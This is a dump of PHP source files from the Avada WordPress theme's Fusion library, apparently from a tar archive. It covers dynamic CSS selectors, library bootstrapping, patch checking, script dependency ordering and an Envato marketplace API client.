'.fusion-content-widget-area .widget .recentcomments', '.fusion-content-widget-area .widget_categories li', '.commentlist .the-comment', '.side-nav', '#wrapper .side-nav li a', '.side-nav li a', '#wrapper .side-nav li.current_page_item li a', 'h5.toggle.active + .toggle-content', '.tabs-vertical .tabset', '.tabs-vertical .tabs-container .tab_content', '.fusion-tabs.vertical-tabs.clean .nav-tabs li .tab-link', '.pagination a.inactive', '.fusion-hide-pagination-text .pagination-prev', '.fusion-hide-pagination-text .pagination-next', '.fusion-pagination .page-numbers', '.page-links a', '.fusion-author .fusion-author-social', '.price_slider_wrapper', '.tagcloud a', '.fusion-content-widget-area .widget_nav_menu li', '.fusion-content-widget-area .widget_meta li', '.fusion-content-widget-area .widget_recent_entries li', '.fusion-content-widget-area .widget_archive li', '.fusion-content-widget-area .widget_pages li', '.fusion-content-widget-area .widget_links li', '.chzn-container-single .chzn-single', '.chzn-container-single .chzn-single div', '.chzn-drop', '.input-radio', '.panel.entry-content', '#reviews li .comment-text', '.fusion-author-widget .fusion-author-widget-separator .fusion-author-widget-sep', ]; if ( is_rtl() ) { $elements[] = '.rtl .side-nav'; } if ( class_exists( 'bbPress' ) ) { $elements[] = '#bbpress-forums .bbp-pagination .bbp-pagination-links a.inactive'; $elements[] = '#bbpress-forums .bbp-topic-pagination .page-numbers'; $elements[] = '.widget.widget.widget_display_replies ul li'; $elements[] = '.widget.widget_display_topics ul li'; $elements[] = '.widget.widget_display_views ul li'; $elements[] = '.widget.widget_display_stats dt'; $elements[] = '.widget.widget_display_stats dd'; $elements[] = '#bbpress-forums .bbp-pagination-links span.dots'; $elements[] = '.fusion-hide-pagination-text #bbpress-forums .bbp-pagination .bbp-pagination-links .pagination-prev'; $elements[] = '.fusion-hide-pagination-text #bbpress-forums .bbp-pagination .bbp-pagination-links .pagination-next'; } if ( class_exists( 'WooCommerce' ) ) { $elements[] = '#customer_login_box'; $elements[] = '#customer_login .col-1'; $elements[] = '#customer_login .col-2'; $elements[] = '#customer_login h2'; $elements[] = '.fusion-body .avada-myaccount-user'; $elements[] = '.fusion-body .avada-myaccount-user .avada-myaccount-user-column'; $elements[] = '.woocommerce-pagination .page-numbers'; $elements[] = '.fusion-body.woo-tabs-horizontal .woocommerce-tabs > .entry-content'; $elements[] = '.woo-tabs-horizontal .woocommerce-tabs > .tabs'; $elements[] = '.woo-tabs-horizontal .woocommerce-tabs > .wc-tab'; $elements[] = '.fusion-body .woocommerce-side-nav li a'; $elements[] = '.fusion-body .woocommerce-content-box'; $elements[] = '.fusion-body .woocommerce-content-box h2'; $elements[] = '.fusion-body .woocommerce .address h4'; $elements[] = '.woo-tabs-horizontal .woocommerce-MyAccount-navigation'; $elements[] = '.woo-tabs-horizontal .woocommerce .woocommerce-MyAccount-navigation > ul .is-active'; $elements[] = '.fusion-body .woocommerce-MyAccount-navigation ul li a'; $elements[] = '.fusion-body .woocommerce-MyAccount-content'; $elements[] = '.fusion-body .woocommerce-MyAccount-content h2'; $elements[] = '.fusion-body .woocommerce-MyAccount-content h3'; $elements[] = '.fusion-body .woocommerce-tabs .tabs li a'; $elements[] = '.fusion-body .woocommerce .social-share'; $elements[] = '.fusion-body .woocommerce .social-share li'; $elements[] = '.fusion-body .woocommerce .cross-sells'; $elements[] = '.fusion-body .woocommerce .checkout #customer_details .col-1'; $elements[] = '.fusion-body .woocommerce .checkout #customer_details .col-2'; $elements[] = '.woo-tabs-horizontal .woocommerce .woocommerce-checkout-nav .is-active'; $elements[] = '.fusion-body .woocommerce .checkout h3'; $elements[] = '.fusion-body .woocommerce .cross-sells h2'; $elements[] = '.fusion-body .woocommerce .addresses .title'; $elements[] = '.fusion-content-widget-area .widget_product_categories li'; $elements[] = '.widget_product_categories li'; $elements[] = '.widget_layered_nav li'; $elements[] = '.fusion-content-widget-area .product_list_widget li'; $elements[] = '.fusion-content-widget-area .widget_layered_nav li'; $elements[] = '.fusion-body .my_account_orders tr'; $elements[] = '.side-nav-left .side-nav'; $elements[] = '.fusion-body .shop_table tr'; $elements[] = '.fusion-body .cart_totals .total'; $elements[] = '.fusion-body .checkout .shop_table tfoot'; $elements[] = '.fusion-body .shop_attributes tr'; $elements[] = '.fusion-body .cart-totals-buttons'; $elements[] = '.fusion-body .cart_totals'; $elements[] = '.fusion-body .woocommerce-shipping-calculator'; $elements[] = '.fusion-body .coupon'; $elements[] = '.fusion-body .cart_totals h2'; $elements[] = '.fusion-body .woocommerce-shipping-calculator h2'; $elements[] = '.fusion-body .coupon h2'; $elements[] = '.fusion-body .order-total'; $elements[] = '.fusion-body .avada-order-details .shop_table.order_details tfoot'; $elements[] = '#final-order-details .mini-order-details tr:last-child'; $elements[] = '.fusion-body .order-info'; $elements[] = '.woocommerce .social-share'; $elements[] = '.woocommerce .social-share li'; $elements[] = '.fusion-body .quantity .minus, .fusion-body .quantity .qty'; if ( is_rtl() ) { $elements[] = '.rtl .woocommerce .social-share li'; } } $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['border-color'] = 'var(--sep_color)'; $css['global']['.price_slider_wrapper .ui-widget-content']['background-color'] = 'var(--sep_color)'; if ( class_exists( 'GFForms' ) ) { $css['global']['.gform_wrapper .gsection']['border-bottom'] = '1px dotted var(--sep_color)'; } if ( class_exists( 'Tribe__Events__Main' ) ) { $elements = [ '.tribe-countdown-timer', '.tribe-countdown-text', ]; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['background-color'] = 'var(--countdown_background_color)'; $elements = [ '.tribe-countdown-timer .tribe-countdown-number', ]; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['background-color'] = 'var(--countdown_counter_box_color)'; $elements = [ '.tribe-countdown-timer .tribe-countdown-number .fusion-tribe-counterdown-over', '.tribe-countdown-timer .tribe-countdown-number .tribe-countdown-under', ]; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['color'] = 'var(--countdown_counter_text_color)'; $elements = [ '.tribe-events-countdown-widget .tribe-countdown-text, .tribe-events-countdown-widget .tribe-countdown-text a', '#slidingbar-area .tribe-events-countdown-widget .tribe-countdown-text, #slidingbar-area .tribe-events-countdown-widget .tribe-countdown-text a', '.tribe-events-countdown-widget .tribe-countdown-text, .tribe-events-countdown-widget .tribe-countdown-text a:hover', '#slidingbar-area .tribe-events-countdown-widget .tribe-countdown-text, #slidingbar-area .tribe-events-countdown-widget .tribe-countdown-text a:hover', ]; $css['global'][ $dynamic_css_helpers->implode( $elements ) ]['color'] = 'var(--countdown_heading_text_color)'; } } return $css; } add_filter( 'fusion_dynamic_css_array', 'avada_add_fb_styling' ); /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/lib/fusion-library.php000064400000006627152342437700013634 0ustar00= 0 ) { $fusion_library_latest_version = $current_version; } $dirname = wp_normalize_path( dirname( __FILE__ ) ); // Autoloader. if ( ! class_exists( 'Fusion_Library_Autoloader' ) ) { include_once $dirname . '/inc/class-fusion-library-autoloader.php'; } Fusion_Library_Autoloader::add_location( $dirname, $current_version ); Fusion_Library_Autoloader::get_instance(); // Define the path. // Will be used to load other files. if ( ! defined( 'FUSION_LIBRARY_PATH' ) ) { define( 'FUSION_LIBRARY_PATH', $dirname ); } if ( ! defined( 'FUSION_LIBRARY_URL' ) ) { if ( defined( 'AVADA_VERSION' ) ) { $fusion_library_url = get_template_directory_uri() . '/includes/lib'; } elseif ( defined( 'FUSION_BUILDER_PLUGIN_URL' ) ) { $fusion_library_url = FUSION_BUILDER_PLUGIN_URL . 'inc/lib'; } else { $dir_array = explode( '/', $dirname ); $path_length = count( $dir_array ); if ( 4 < $path_length ) { for ( $i = 1; $i < 5; $i++ ) { unset( $dir_array[ $path_length - $i ] ); } $wp_content_dir = implode( '/', $dir_array ); } else { $wp_content_dir = wp_normalize_path( WP_CONTENT_DIR ); } $wp_content_url = content_url(); $link = str_replace( $wp_content_dir, $wp_content_url, $dirname ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride $scheme = ( ( isset( $_SERVER['HTTPS'] ) && 'on' === $_SERVER['HTTPS'] ) || is_ssl() ) ? 'https' : 'http'; $fusion_library_url = set_url_scheme( $link, $scheme ); } define( 'FUSION_LIBRARY_URL', $fusion_library_url ); } require_once FUSION_LIBRARY_PATH . '/inc/fusion-app/compat.php'; // Include functions. require_once FUSION_LIBRARY_PATH . '/inc/functions.php'; require_once FUSION_LIBRARY_PATH . '/inc/fusion-icon.php'; // Include helper functions. if ( file_exists( FUSION_LIBRARY_PATH . '/inc/fusion-app/helpers.php' ) ) { include_once FUSION_LIBRARY_PATH . '/inc/fusion-app/helpers.php'; } // Set fusion_library global if not already set. global $fusion_library; if ( ! $fusion_library ) { $fusion_library = fusion_library(); } // Include Fusion app. if ( file_exists( FUSION_LIBRARY_PATH . '/inc/fusion-app/fusion-app.php' ) ) { include_once FUSION_LIBRARY_PATH . '/inc/fusion-app/fusion-app.php'; } // Include Custom Icons. if ( file_exists( FUSION_LIBRARY_PATH . '/inc/custom-icons/custom-icons.php' ) ) { include_once FUSION_LIBRARY_PATH . '/inc/custom-icons/custom-icons.php'; } Avada/includes/lib/README.md000064400000000130152342437700011414 0ustar00# fusion-library Common classes & functions for use in Fusion themes & plugins. Avada/includes/lib/.stylelintignore000064400000000055152342437700013377 0ustar00/node-modules /vendor /inc/redux *.* !*.less Avada/includes/lib/inc/class-fusion-patcher-checker.php000064400000010636152342437700017067 0ustar00patcher = $patcher; if ( $this->patcher->is_bundled() ) { return; } if ( ! is_customize_preview() ) { add_action( 'admin_enqueue_scripts', [ $this, 'admin_scripts' ] ); } } /** * Adds a script to the admin footer so that counters are added in the menus. * * @access public * @since 1.0.0 * @return void */ public function admin_scripts() { global $fusion_library_latest_version; wp_enqueue_script( 'fusion-patcher-checker', FUSION_LIBRARY_URL . '/assets/min/js/general/fusion-patcher-admin-menu-notices.js', [ 'jquery', 'underscore' ], $fusion_library_latest_version, true ); $args = [ 'patches' => $this->get_cache(), 'display_counter' => apply_filters( 'fusion_patches_counter', 'both' ), // Allowed values are both|top_level|sub_level|none. 'args' => [], 'patch_applied_text' => __( 'Patch Applied', 'Avada' ), 'patch_dismiss_notice_text' => __( 'Dismiss Notice', 'Avada' ), 'admin_url' => esc_url( admin_url() ), ]; $args['args'][] = $this->patcher->get_args(); wp_localize_script( 'fusion-patcher-checker', 'patcherVars', $args ); } /** * Get & Update the Cache. * * @access public * @since 1.0.0 */ public function get_cache() { $cache = get_site_transient( self::$transient_name ); if ( ! is_array( $cache ) ) { $cache = []; } $context = $this->patcher->get_args( 'context' ); if ( ! isset( $cache[ $context ] ) ) { $cache[ $context ] = $this->get_new_patches_num(); set_site_transient( self::$transient_name, $cache, $this->period ); } return $cache; } /** * Check how many new patches exist. * * @access private * @since 1.0.0 * @return int */ private function get_new_patches_num() { $args = $this->patcher->get_args(); $bundles = $this->patcher->get_args( 'bundled' ); if ( ! $bundles ) { $bundles = []; } $contexts = $bundles; $contexts[] = $this->patcher->get_args( 'context' ); $this->patches = Fusion_Patcher_Client::get_patches( $args ); // Get an array of the already applied patches. $this->applied_patches = get_site_option( 'fusion_applied_patches', [] ); if ( $this->checked ) { return (int) $this->new_patches; } foreach ( $this->patches as $patch_id => $patch ) { $valid_patch = false; if ( ! isset( $patch['patch'] ) || empty( $patch['patch'] ) ) { continue; } foreach ( $patch['patch'] as $file_patch ) { if ( $valid_patch ) { continue; } if ( in_array( $file_patch['context'], $contexts ) ) { // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict $valid_patch = true; } } if ( $valid_patch && ! in_array( $patch_id, $this->applied_patches ) ) { // phpcs:ignore WordPress.PHP.StrictInArray.MissingTrueStrict $this->new_patches++; } } $this->checked = true; return (int) $this->new_patches; } /** * Resets the cache. * * @static * @access public * @since 1.0.0 */ public static function reset_cache() { delete_site_transient( self::$transient_name ); } } Avada/includes/lib/inc/class-fusion-dynamic-js.php000064400000032471152342437700016076 0ustar00get_option( 'js_compiler' ) || ( defined( 'AVADA_DEV_MODE' ) && AVADA_DEV_MODE && defined( 'FUSION_BUILDER_DEV_MODE' ) && FUSION_BUILDER_DEV_MODE && defined( 'FUSION_LIBRARY_DEV_MODE' ) && FUSION_LIBRARY_DEV_MODE ) || ( defined( 'WP_SCRIPT_DEBUG' ) && WP_SCRIPT_DEBUG ) || post_password_required() || ( isset( $_GET['builder_id'] ) && get_transient( 'fusion_app_emulated-' . sanitize_text_field( wp_unslash( $_GET['builder_id'] ) ) . '-' . $option ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification new Fusion_Dynamic_JS_Separate( $this ); return; } $this->file = new Fusion_Dynamic_JS_File( $this ); } /** * Registers a script. * * @static * @access public * @since 1.0.0 * @param string $handle The script's handle. * @param string $url The URL to the script. * @param string $path The path to the script. * @param array $deps An array of dependencies. * @param bool|string $ver The script version. * @param bool $in_footer Whether the script should be in the footer or not. */ public static function register_script( $handle = '', $url = '', $path = '', $deps = [], $ver = false, $in_footer = false ) { self::add_script( 'register', $handle, $url, $path, $deps, $ver, $in_footer ); } /** * Enqueues a script. * * @static * @access public * @since 1.0.0 * @param string $handle The script's handle. * @param string $url The URL to the script. * @param string $path The path to the script. * @param array $deps An array of dependencies. * @param bool|string $ver The script version. * @param bool $in_footer Whether the script should be in the footer or not. */ public static function enqueue_script( $handle = '', $url = '', $path = '', $deps = [], $ver = false, $in_footer = false ) { self::add_script( 'enqueue', $handle, $url, $path, $deps, $ver, $in_footer ); } /** * Deregisters a script. * * @static * @access public * @since 1.0.0 * @param string $handle The script's handle. */ public static function deregister_script( $handle ) { foreach ( self::$scripts as $key => $script ) { if ( $handle === $script['handle'] ) { unset( self::$scripts[ $key ] ); } } } /** * Dequeues a script. * * @static * @access public * @since 1.0.0 * @param string $handle The script's handle. */ public static function dequeue_script( $handle ) { foreach ( self::$scripts as $key => $script ) { if ( $handle === $script['handle'] ) { self::$scripts[ $key ]['action'] = 'register'; } } } /** * Add a script to the array. * * @static * @access private * @since 1.0.0 * @param string $action The action to take. Can be enqueue|register. * @param string $handle The script's handle. * @param string $url The URL to the script. * @param string $path The path to the script. * @param array $deps An array of dependencies. * @param bool|string $ver The script version. * @param bool $in_footer Whether the script should be in the footer or not. */ private static function add_script( $action = 'enqueue', $handle = '', $url = '', $path = '', $deps = [], $ver = false, $in_footer = false ) { $is_builder = ( function_exists( 'fusion_is_preview_frame' ) && fusion_is_preview_frame() ) || ( function_exists( 'fusion_is_builder_frame' ) && fusion_is_builder_frame() ); // Early exit if $handle is not defined. if ( ! $handle ) { return; } // Check if our script already exists in the array. foreach ( self::$scripts as $script ) { if ( $handle === $script['handle'] ) { if ( 'register' === $script['action'] ) { // We're enqueueing the script. if ( 'enqueue' === $action ) { $url = ( '' === $url ) ? $script['url'] : $url; $path = ( '' === $path ) ? $script['path'] : $path; $deps = ( empty( $deps ) ) ? $script['deps'] : $deps; $ver = ( false ) ? $script['ver'] : $ver; $in_footer = ( false ) ? $script['in_footer'] : $in_footer; } elseif ( 'register' === $action ) { return; } } elseif ( 'enqueue' === $script['action'] ) { // The script was previously enqueued. if ( 'enqueue' === $action ) { return; } elseif ( 'register' === $action ) { $action = 'enqueue'; } } } } // If animations are disabled in TO, we have to delete the dependency from the $deps array. if ( 'off' === fusion_library()->get_option( 'status_css_animations' ) && ! $is_builder ) { $key = array_search( 'fusion-animations', $deps, true ); if ( false !== $key ) { unset( $deps[ $key ] ); } } self::$scripts[] = [ 'action' => (string) $action, 'handle' => (string) $handle, 'url' => (string) $url, 'path' => (string) $path, 'deps' => (array) $deps, 'ver' => (string) $ver, 'in_footer' => true, ]; } /** * Localize scripts and add variables. * * @static * @access public * @since 1.0.0 * @param string $handle The script's handle. * @param string $name The variable name. * @param array $data An array of data. */ public static function localize_script( $handle = '', $name = '', $data = [] ) { // Early exit if $handle or $name are not defined. if ( ! $handle || ! $name ) { return; } // Early exit if the script already exists in the array. foreach ( self::$localize_scripts as $script ) { if ( $handle === $script['handle'] && $name === $script['name'] ) { return; } } self::$localize_scripts[] = [ 'handle' => (string) $handle, 'name' => (string) $name, 'data' => (array) $data, ]; } /** * Get the scripts. * * @static * @access public * @since 1.0.0 * @param bool $reorder Whether we want to reorder the scripts or not. * @return array */ public function get_scripts( $reorder = true ) { return self::$scripts; } /** * Get the scripts. * * @access public * @since 1.0.0 * @return array */ public function get_localizations() { return self::$localize_scripts; } /** * Check for grandparent dependency and merge. * * @access public * @since 3.2 */ public function merge_dependencies() { if ( empty( self::$ordered_scripts ) ) { return; } foreach ( self::$ordered_scripts as $key => $script ) { // Script is dependencies. if ( isset( $script['deps'] ) && ! empty( $script['deps'] ) ) { foreach ( $script['deps'] as $dependency_key => $dependency ) { $dependency_slug = $this->get_key_from_handle( $dependency ); if ( false === $dependency_slug ) { continue; } $parent_script = self::$ordered_scripts[ $dependency_slug ]; if ( $parent_script && isset( $parent_script['deps'] ) && ! empty( $parent_script['deps'] ) ) { self::$ordered_scripts[ $key ]['deps'] = array_merge( self::$ordered_scripts[ $key ]['deps'], $parent_script['deps'] ); } } } } } /** * Reorder scripts based on their dependencies. * * @access public * @since 1.0.0 */ public function reorder_scripts() { // Build an ordered array of our dependent scripts. $dependent_scripts = []; self::$ordered_scripts = self::$scripts; // Merge grandparent dependency in, so that full array is present on each script. $this->merge_dependencies(); foreach ( self::$ordered_scripts as $key => $script ) { if ( 'enqueue' !== $script['action'] ) { continue; } // Check if the script has dependencies. if ( isset( $script['deps'] ) && ! empty( $script['deps'] ) ) { foreach ( $script['deps'] as $dependency_key => $dependency ) { // Check if our dependencies exist and does not start with fusion. // If not, assume they are external dependencies. if ( false === $this->get_key_from_handle( $dependency ) && 0 !== strpos( $dependency, 'fusion' ) ) { self::$external_dependencies[] = $dependency; unset( self::$ordered_scripts['deps'][ $dependency_key ] ); continue; } // Make sure dependency is enqueued. self::$ordered_scripts[ $this->get_key_from_handle( $dependency ) ]['action'] = 'enqueue'; // Inject item in array. if ( in_array( $dependency, $dependent_scripts, true ) ) { $dependent_key = array_search( $dependency, $dependent_scripts, true ); $dependent_scripts = $this->add_element( $dependent_scripts, $dependent_key, $dependency ); } // Add the script to the end of the array if it doesn't exist. if ( ! in_array( $script['handle'], $dependent_scripts, true ) ) { $dependent_scripts[] = $script['handle']; } $dependent_scripts = array_unique( $dependent_scripts ); } } } // Go through our dependent scripts and shuffle them in the self::$scripts array // so that the final array is ordered for dependencies handling. $dependent_scripts = array_reverse( $dependent_scripts ); foreach ( $dependent_scripts as $dependent ) { $key = $this->get_key_from_handle( $dependent ); $script = self::$ordered_scripts[ $key ]; self::$ordered_scripts[] = $script; unset( self::$ordered_scripts[ $key ] ); } // Remove scripts that are not to be enqueued. foreach ( self::$ordered_scripts as $key => $script ) { if ( 'enqueue' !== $script['action'] ) { unset( self::$ordered_scripts[ $key ] ); } } } /** * Get scripts to enqueue in proper order. * * @access public * @since 3.2 * @return array */ public function get_ordered_scripts() { // We have already worked it out, just return them. if ( null !== self::$ordered_scripts ) { return self::$ordered_scripts; } $this->reorder_scripts(); return self::$ordered_scripts; } /** * Find the key of an item in the script array using the script's handle. * * @access private * @since 1.0.0 * @param string $handle The script's handle. * @return int The position of the script in self::$scripts. */ private function get_key_from_handle( $handle ) { foreach ( self::$scripts as $key => $script ) { if ( $handle === $script['handle'] ) { return $key; } } return false; } /** * Add element in the middle of an array. * * @access public * @access protected * @since 1.0.0 * @param array $array The array. * @param int $new_key The position of the new item in the array. * @param mixed $new_value The value of the item we're adding to the array. * @return array */ protected function add_element( $array, $new_key, $new_value ) { $length = count( $array ); $new_array = []; // If we're adding as the last element it's easy. if ( $new_key >= $length ) { $array[] = $new_value; return $array; } // Loop the array and add the item where appropriate. foreach ( $array as $key => $value ) { if ( $key === $new_key ) { $new_array[] = $new_value; continue; } $new_array[] = $value; } return $new_array; } /** * Get the array of external dependencies. * * @static * @access public * @since 1.0.0 * @return array */ public function get_external_dependencies() { return self::$external_dependencies; } /** * Determine if the server is HTTP/2 or not. * * @static * @access public * @since 1.0.0 * @return bool */ public static function is_http2() { if ( isset( $_SERVER['SERVER_PROTOCOL'] ) ) { $ver = 1; $ver = ( isset( $_SERVER['SERVER_PROTOCOL'] ) ) ? str_replace( 'HTTP/', '', sanitize_text_field( wp_unslash( $_SERVER['SERVER_PROTOCOL'] ) ) ) : '1'; if ( 2 <= intval( $ver ) ) { return true; } } return false; } } Avada/includes/lib/inc/class-fusion-envato-api.php000064400000027353152342437700016106 0ustar00registration = $registration; $this->token = $this->registration->get_token(); } /** * You cannot clone this class. * * @access public * @since 1.0.0 * @codeCoverageIgnore */ public function __clone() { _doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin’ huh?', 'Avada' ), '1.0.0' ); } /** * You cannot unserialize instances of this class. * * @access public * @since 1.0.0 * @codeCoverageIgnore */ public function __wakeup() { _doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin’ huh?', 'Avada' ), '1.0.0' ); } /** * Sets the token. * * @access public * @param string $token The token. */ public function set_token( $token ) { $this->token = $token; } /** * Query the Envato API. * * @access public * @uses wp_remote_get() To perform an HTTP request. * @since 1.0.0 * @param string $url API request URL, including the request method, parameters, & file type. * @param array $args The arguments passed to `wp_remote_get`. * @return array The HTTP response. */ public function request( $url, $args = [] ) { $defaults = [ 'headers' => [ 'Authorization' => 'Bearer ' . $this->token, 'User-Agent' => 'WordPress - Fusion Library', ], 'timeout' => 20, 'headers_data' => false, ]; $args = wp_parse_args( $args, $defaults ); if ( empty( $this->token ) ) { return new WP_Error( 'api_token_error', __( 'An API token is required.', 'Avada' ) ); } // Make an API request. $response = wp_remote_get( esc_url_raw( $url ), $args ); // Check the response code. $response_code = wp_remote_retrieve_response_code( $response ); $response_message = wp_remote_retrieve_response_message( $response ); if ( empty( $response_code ) && is_wp_error( $response ) ) { return $response; } $envato_string = ''; $headers = isset( $response['headers'] ) ? (array) $response['headers'] : []; if ( ! empty( $headers ) && isset( $headers[ "\0*\0" . 'data' ] ) ) { $headers_data = $headers[ "\0*\0" . 'data' ]; $date = $headers_data['date']; $cf_ray = $headers_data['cf-ray']; $envato_string = '(Date: ' . $date . ' | CF-RAY: ' . $cf_ray . ')'; } if ( 200 !== $response_code && ! empty( $response_message ) ) { return new WP_Error( $response_code, $response_message . $envato_string ); } if ( 200 !== $response_code ) { return new WP_Error( $response_code, __( 'An unknown API error occurred.', 'Avada' ) ); } $return = json_decode( wp_remote_retrieve_body( $response ), true ); if ( null === $return ) { return new WP_Error( 'api_error', __( 'An unknown API error occurred.', 'Avada' ) ); } if ( $args['headers_data'] && $envato_string ) { return [ 'headers_data' => $envato_string, 'body' => $return, ]; } return $return; } /** * Deferred item download URL. * * @access public * @since 1.0.0 * @param int $id The item ID. * @return string. */ public function deferred_download( $id ) { if ( empty( $id ) ) { return ''; } $args = [ 'deferred_download' => true, 'item_id' => $id, ]; return add_query_arg( $args, esc_url( admin_url( 'admin.php?page=avada' ) ) ); } /** * Get the item download. * * @access public * @since 1.0.0 * @param int $id The item ID. * @param array $args The arguments passed to `wp_remote_get`. * @return bool|array The HTTP response. */ public function download( $id, $args = [] ) { if ( empty( $id ) ) { return false; } $url = 'https://api.envato.com/v2/market/buyer/download?item_id=' . $id . '&shorten_url=true'; $response = $this->request( $url, $args ); // @todo Find out which errors could be returned & handle them in the UI. if ( empty( $response ) || ! empty( $response['error'] ) ) { return false; } if ( ! empty( $response['wordpress_theme'] ) ) { return $response['wordpress_theme']; } if ( ! empty( $response['wordpress_plugin'] ) ) { return $response['wordpress_plugin']; } return false; } /** * Get an item by ID and type. * * @access public * @since 1.0.0 * @param int $id The item ID. * @param array $args The arguments passed to `wp_remote_get`. * @return array The HTTP response. */ public function item( $id, $args = [] ) { $url = 'https://api.envato.com/v3/market/catalog/item?id=' . $id; $response = $this->request( $url, $args ); if ( empty( $response ) ) { return false; } if ( ! empty( $response['wordpress_theme_metadata'] ) ) { return $this->normalize_theme( $response ); } if ( ! empty( $response['wordpress_plugin_metadata'] ) ) { return $this->normalize_plugin( $response ); } return false; } /** * Get the list of available themes. * * @access public * @since 1.0.0 * @param array $args The arguments passed to `wp_remote_get`. * @param int $page The page number if one is necessary. * @return array The HTTP response. */ public function themes( $args = [], $page = '' ) { $themes = []; $url = 'https://api.envato.com/v3/market/buyer/list-purchases?filter_by=wordpress-themes'; $url .= ( $page ) ? '&page=' . $page : ''; $response = $this->request( $url, $args ); if ( empty( $response ) || empty( $response['results'] ) ) { return $themes; } foreach ( $response['results'] as $theme ) { $themes[] = $this->normalize_theme( $theme['item'] ); } return $themes; } /** * Normalize a theme. * * @access public * @since 1.0.0 * @param array $theme An array of API request values. * @return array A normalized array of values. */ public function normalize_theme( $theme ) { return [ 'id' => $theme['id'], 'name' => ( ! empty( $theme['wordpress_theme_metadata']['theme_name'] ) ? $theme['wordpress_theme_metadata']['theme_name'] : '' ), 'author' => ( ! empty( $theme['wordpress_theme_metadata']['author_name'] ) ? $theme['wordpress_theme_metadata']['author_name'] : '' ), 'version' => ( ! empty( $theme['wordpress_theme_metadata']['version'] ) ? $theme['wordpress_theme_metadata']['version'] : '' ), 'description' => self::remove_non_unicode( $theme['wordpress_theme_metadata']['description'] ), 'url' => ( ! empty( $theme['url'] ) ? $theme['url'] : '' ), 'author_url' => ( ! empty( $theme['author_url'] ) ? $theme['author_url'] : '' ), 'thumbnail_url' => ( ! empty( $theme['thumbnail_url'] ) ? $theme['thumbnail_url'] : '' ), 'rating' => ( ! empty( $theme['rating'] ) ? $theme['rating'] : '' ), ]; } /** * Get the list of available plugins. * * @access public * @since 1.0.0 * @param array $args The arguments passed to `wp_remote_get`. * @param int $page The page number if one is necessary. * @return array The HTTP response. */ public function plugins( $args = [], $page = '' ) { $plugins = []; $url = 'https://api.envato.com/v3/market/buyer/list-purchases?filter_by=wordpress-plugins'; $url .= ( $page ) ? '&page=' . $page : ''; $response = $this->request( $url, $args ); if ( empty( $response ) || empty( $response['results'] ) ) { return $plugins; } foreach ( $response['results'] as $plugin ) { $plugins[] = $this->normalize_plugin( $plugin['item'] ); } return $plugins; } /** * Normalize a plugin. * * @access public * @since 1.0.0 * @param array $plugin An array of API request values. * @return array A normalized array of values. */ public function normalize_plugin( $plugin ) { $requires = null; $tested = null; $versions = []; // Set the required and tested WordPress version numbers. foreach ( $plugin['attributes'] as $k => $v ) { if ( 'compatible-software' === $v['name'] ) { $v['value'] = (array) $v['value']; foreach ( $v['value'] as $version ) { $versions[] = str_replace( 'WordPress ', '', trim( $version ) ); } if ( ! empty( $versions ) ) { $requires = $versions[ count( $versions ) - 1 ]; $tested = $versions[0]; } break; } } return [ 'id' => $plugin['id'], 'name' => ( ! empty( $plugin['wordpress_plugin_metadata']['plugin_name'] ) ? $plugin['wordpress_plugin_metadata']['plugin_name'] : '' ), 'author' => ( ! empty( $plugin['wordpress_plugin_metadata']['author'] ) ? $plugin['wordpress_plugin_metadata']['author'] : '' ), 'version' => ( ! empty( $plugin['wordpress_plugin_metadata']['version'] ) ? $plugin['wordpress_plugin_metadata']['version'] : '' ), 'description' => ( ! empty( $plugin['wordpress_plugin_metadata']['description'] ) ? self::remove_non_unicode( $plugin['wordpress_plugin_metadata']['description'] ) : '' ), 'url' => ( ! empty( $plugin['url'] ) ? $plugin['url'] : '' ), 'author_url' => ( ! empty( $plugin['author_url'] ) ? $plugin['author_url'] : '' ), 'thumbnail_url' => ( ! empty( $plugin['thumbnail_url'] ) ? $plugin['thumbnail_url'] : '' ), 'landscape_url' => ( ! empty( $plugin['previews']['landscape_preview']['landscape_url'] ) ? $plugin['previews']['landscape_preview']['landscape_url'] : '' ), 'requires' => $requires, 'tested' => $tested, 'number_of_sales' => ( ! empty( $plugin['number_of_sales'] ) ? $plugin['number_of_sales'] : '' ), 'updated_at' => ( ! empty( $plugin['updated_at'] ) ? $plugin['updated_at'] : '' ), 'rating' => ( ! empty( $plugin['rating'] ) ? $plugin['rating'] : '' ), ]; } /** * Remove all non unicode characters in a string * * @access public * @since 1.0.0 * @param string $retval The string to fix. * @return string */ public static function remove_non_unicode( $retval ) { return preg_replace( '/[\x00-\x1F\x80-\xFF]/', '', $retval ); } /** * Get the token scopes from the Envato API. * * @access public * @since 1.0.6 * @param string $token A token to check. * @return array */ public function get_token_scopes( $token = '' ) { if ( '' === $token ) { $token = $this->token; } // The arguments for the request. $args = [ 'headers' => [ 'Authorization' => 'Bearer ' . $token, 'User-Agent' => 'WordPress - Fusion Library', ], 'timeout' => 20, ]; // Make the request to the Envato API. $whoami = (array) $this->request( 'https://api.envato.com/whoami', $args ); if ( isset( $whoami['scopes'] ) && is_array( $whoami['scopes'] ) ) { return $whoami['scopes']; } return []; } /** * Check if the token has all the scopes we need. * * @access public * @since 1.0.6 * @param string $scopes The scopes that need to be checked. * @return bool */ public function check_token_scopes( $scopes ) { $scopes_ok = false; if ( is_array( $scopes ) && ! empty( $scopes ) ) { $scopes_ok = true; // An array of the scopes we need. $needed_scopes = [ 'purchase:download', 'purchase:list', 'purchase:verify', ]; // Check if all needed scopes exist. foreach ( $needed_scopes as $needed_scope ) { if ( ! in_array( $needed_scope, $scopes, true ) ) { $scopes_ok = false; } } } return (bool) $scopes_ok; } } Avada/includes/lib/inc/jetpack-device-detection/class-user-agent-info.php000064400000160356152342437700022400 0ustar00useragent = $ua; } elseif ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) { $this->useragent = strtolower( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- This class is all about validating. } } /** * This method detects the mobile User Agent name. * * @return string The matched User Agent name, false otherwise. */ public function get_mobile_user_agent_name() { if ( static::is_chrome_for_iOS() ) { // Keep this check before the safari rule. 